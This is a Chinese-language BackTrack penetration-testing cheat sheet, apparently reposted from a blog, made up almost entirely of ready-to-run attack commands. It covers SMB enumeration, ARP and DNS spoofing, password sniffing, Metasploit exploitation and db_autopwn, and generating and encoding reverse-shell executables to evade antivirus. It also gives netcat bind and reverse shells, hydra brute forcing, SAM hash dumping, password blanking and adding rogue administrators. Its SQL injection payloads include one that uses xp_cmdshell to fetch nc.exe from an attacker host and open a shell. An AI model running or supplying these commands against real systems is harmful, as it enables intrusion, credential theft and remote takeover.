BT***常用命令

whois 域名/ip 查看域名的詳細信息。

ping 域名/ip 測試本機到遠端主機是否聯通。

dig 域名/ip 查看域名解析的詳細信息。

host -l 域名 dns服務器 傳輸zone。

掃描

nmap:

-sS 半開掃描TCP和SYN掃描。

-sT 完全TCP連接掃描。

-sU UDP掃描

-PS syn包探測(防火牆探測)

-PA ack包探測(防火牆探測)

-PN 不ping。

-n 不dns解析。

-A -O和-sV。

-O 操作系統識別。

-sV 服務版本信息(banner)

-p 端口掃描。

-T 設置時間級別(0-5)

-iL 導入掃描結果。

-oG 輸出掃描結果。

 

操作系統識別:

p0f -i eth0 -U -p 開啓混雜模式。

xprobe2 ip|域名 檢測os。

 

banner獲取:

nc ip port  檢測端口是否打開。

telnet ip port  檢測端口是否打開。

wget ip  下載主頁。

cat index.html | more  顯示主頁代碼。

q   退出。

 

windows枚舉

nmap -sS -p 139,445 ip  掃描windows。

cd /pentest/enumeration/smb-enum 

nbtscan -f targetIP  檢測netbios。

smbgetserverinfo -i targetIP  掃描name,os,組。

smbdumpusers -i targetIP  列出用戶。

smbclient -L //targetIP  列出共享。

 

使用windows:

net use \\ip\ipc$ "" /u:""  開啓空會話。

net view \\ip               顯示共享信息。

smbclient:

smbclient -L hostName -I targetIP 枚舉共享。

smbclient -L hostName/share -U "" 用空用戶連接。

smbclient -L hostName -I targetIP -U admin普通用戶連接。

 

rpcclient: 

rpcclient targetIP -U “”打開一個空會話。

netshareenum  枚舉共享。

enumdomusers  枚舉用戶。

lsaenumsid    枚舉域SID。

queryuser RID 查詢用戶信息。

createdomuser 創建用戶訪問。

 

ARP欺騙:

ettercap:

nano /usr/local/etc/etter.conf配置文件

Sniff > Unified sniffing > Network interface: eth0 > OK  設置抓包的網卡

Hosts > Scan for hosts (do this two times)掃描網段的主機

Hosts > Hosts list 顯示主機列表

Select the default gateway > Add to Target 1 添加主機

Select the target > Add to Target 2 添加主機

Mitm > Arp poisoning > Sniff remote connections > OK  設置ARP***

Start > Start sniffing 開始***

dsniff -i eth0 監聽網卡竊聽登錄用戶密碼

urlsnarf -i eth0 嗅探http請求

msgsnarf -i eth0 嗅探聊天軟件的聊天內容

driftnet -i eth0 網絡管理嗅探圖片,音頻。

 

dns欺騙:

nano /usr/local/share/ettercap/etter.dns編輯配置文件

Plugins > Manage the plugins > dns_spoof 設置dns欺騙

Mitm > Arp poisoning > Sniff remote connections > OK 設置ARP

Start > Start sniffing 開始***

 

Exploits漏洞利用:

cd /pentest/exploits/exploit-db 進入目錄 

cat sploitlist.txt | grep -i [exploit] 查詢需要的漏洞

cat exploit | grep "#include"檢查運行環境

cat sploitlist.txt | grep -i exploit | cut -d " " -f1 | xargs grep sys | cut -d ":" -f1 | sort -u只保留可以在linux下運行的代碼

 

Metasploit: 

svn update 升級 

./msfweb Web接口127.0.0.1:55555。.

./msfconsole 字符下的Console。

help 幫助

show <option> 顯示選項

search <name> 搜索名字

use <exploit name> 使用漏洞

show options  顯示選項

set <OPTION NAME> <option> 設置選項

show payloads 顯示裝置

set PAYLOAD <payload name> 設置裝置

show options  顯示選項

set <OPTION NAME> <option> 設置選項

show targets  顯示目標(os版本)

set TARGET <target number> 設置目標版本

exploit 開始漏洞***

sessions -l 列出會話

sessions -i <ID> 選擇會話

sessions -k <ID> 結束會話

<ctrl> z  把會話放到後臺

<ctrl> c  結束會話

jobs   列出漏洞運行工作

jobs -K  結束一個漏洞運行工作

show auxiliary 顯示輔助模塊

use <auxiliary name> 使用輔助模塊

set <OPTION NAME> <option> 設置選項

run  運行模塊

scanner/smb/version 掃描系統版本

scanner/mssql/mssql_ping 測試mssql是否在線

scanner/mssql/mssql_login 測試登錄(暴力或字典)

Attacker behind firewall:  bind shell正向

Target behind firewall:  reverse shell反向

Meterpreter銜接不懂dos的可以用這個:

db_import_nessus_nbe 加載nessus的掃描結果

db_import_nmap_xml 加載nmap的掃描結果

自動化***流程:

cd /pentest/exploit/framework3 

./msfconsole

load db_sqlite3

db_destroy pentest

db_create pentest

db_nmap targetIP

db_hosts

db_services

db_autopwn -t -p -e

字符接口***流程:

./msfcli | grep -i <name>

./msfcli <exploit or auxiliary> S

./msfcli <exploit name> <OPTION NAME>=<option> PAYLOAD=<payload name> E

做***後門等:

./msfpayload <payload> <variable=value> <output type>

S        summary and options of payload

C        C language

P        Perl

y         Ruby

R        Raw, allows payload to be piped into msfencode and other tools

J         JavaScript

X        Windows executable

./msfpayload windows/shell/reverse_tcp LHOST=10.1.1.1 C

./msfpayload windows/meterpreter/reverse_tcp LHOST=10.1.1.1 LPORT=4444 X > evil.exe

編碼處理就是做免殺:

./msfencode <options> <variable=value>

./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00' -l

./msfpayload linux_ia32_bind LPORT=4444 R | ./msfencode -b '\x00' -e PexFnstenvMor -t c

 

***後在windows下添加管理員用戶:

hostname 查看主機名

net users 查看用戶

net user 用戶 密碼 /add 添加用戶

net localgroup 查看工作組

net localgroup administrators 查看管理員組

net localgroup administrators x /add 將用戶加入管理員組

 

TFTP

cp /pentest/windows-binaries/tools/nc.exe /tmp/傳遞到tftp上

tftp -i 10.1.1.2 GET nc.exe下載

 

netcat瑞士軍刀

attacker:  10.1.1.1 

target:  10.1.1.2

nc -v -z 10.1.1.2 1-1024 端口掃描

target:  nc -lvp 4444 聊天設置(服務)

attacker:  nc -v 10.1.1.2 4444 聊天設置(客戶)

target:  nc -lvp 4444 > output.txt傳輸文件(接受)

attacker:  nc -v 10.1.1.2 4444 < test.txt傳輸文件(發送)

target:  nc -lvp 4444 -e cmd.exe  Bind shell。

attacker:  nc -v 10.1.1.2 4444

target:nc -lvp 4444  Reverse shell。

attacker:nc -v 10.1.1.2 4444 -e /bin/bash

 

密碼

字典zcat /pentest/password/dictionaries/wordlist.txt.Z > words

cat words | wc -l顯示個數(30多萬個)     

暴力:

hydra -l ftp -P words -v targetIP ftp ***ftp。

hydra -l muts -P words -v targetIP pop3 ***pop3

hydra -P words -v targetIP snmp ***snmp

***microsof ***

nmap -p 1723 targetIP

dos2unix words

cat words | thc-pptp-bruter targetIP

WYD:

wget -r www.target.com --accept=pdf 下載pdf文檔

wyd.pl -o output.txt www.target.com/

cat output.txt | more

SAM文件(windows下的密碼文件):

%SYSTEMROOT%/system32/config

%SYSTEMROOT%/repair

備份windows的hash文件:

./msfcli exploit/windows/dcerpc/ms03_026_dcom RHOST=targetIP PAYLOAD=windows/meterpreter/bind_tcp E

meterpreter > upload -r /tmp/pwdump6 c:\\windows\\system32\\

meterpreter > execute -f cmd -c

meterpreter > interact x

C:\WINDOWS\system32> pwdump \\127.0.0.1

john破解密碼:

cp hash.txt /pentest/password/john-1.7.2/run/

cd /pentest/password/john-1.7.2/run/

./john hash.txt

彩虹表:

rcrack *.rt -f hash.txt

 

本地修改密碼:

mount

umount /mnt/hda1

modprobe fuse

ntfsmount /dev/hda1 /mnt/hda1

mount

ls -l /mnt/hda1 掛載c盤

bkhive /mnt/sda1/WINDOWS/system32/config/system system.txt

samdump2 /mnt/sda1/WINDOWS/system32/config/sam system.txt > hash.txt 備份sam文件

直接修改sam文件:

chntpw /mnt/sda1/WINDOWS/system32/config/SAM

Blank the password.  *

Do you really wish to change it?  y

Write hive files?  y

unmount /mnt/sda1

reboot

 

SQL 注入

nmap -sS -p 1521 targetIP 掃描oracle

nmap -sS -p T:1433,U:1434 targetIP 掃描mssql

' or 1=1--驗證旁路

列舉表名:

' having 1=1--

' group by table having 1=1--

' group by table, table2 having 1=1--

' group by table, table2, table3 having 1=1--

列舉列類型:

union select sum(column) from table --

union select sum(column2) from table --

添加數據:

' ; insert into table values('value','value2','value3')--

MSSQL存儲程序:

輸出數據庫中備案信息到一個html文件,您可以查看與一個瀏覽器。

' ; exec sp_makewebtask "c:\Inetpub\wwwroot\test.html", "select * from table" ; --  www.target.com/test.html

運行ipconfig在瀏覽器查看信息。

' or 1=1; exec master..xp_cmdshell ' "ipconfig" > c:\Inetpub\wwwroot\test.txt' ;-- www.target.com/test.txt

上傳後門。

' or 1=1; exec master..xp_cmdshell ' "tftp -i attackIP GET nc.exe && nc.exe attackIP 53 -e cmd.exe' ; --

***者:  nc -lvp 53


本文轉自 “小魚子博客” 博客,請務必保留此出處http://ctoxyz.blog.51cto.com/9560099/1760047


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章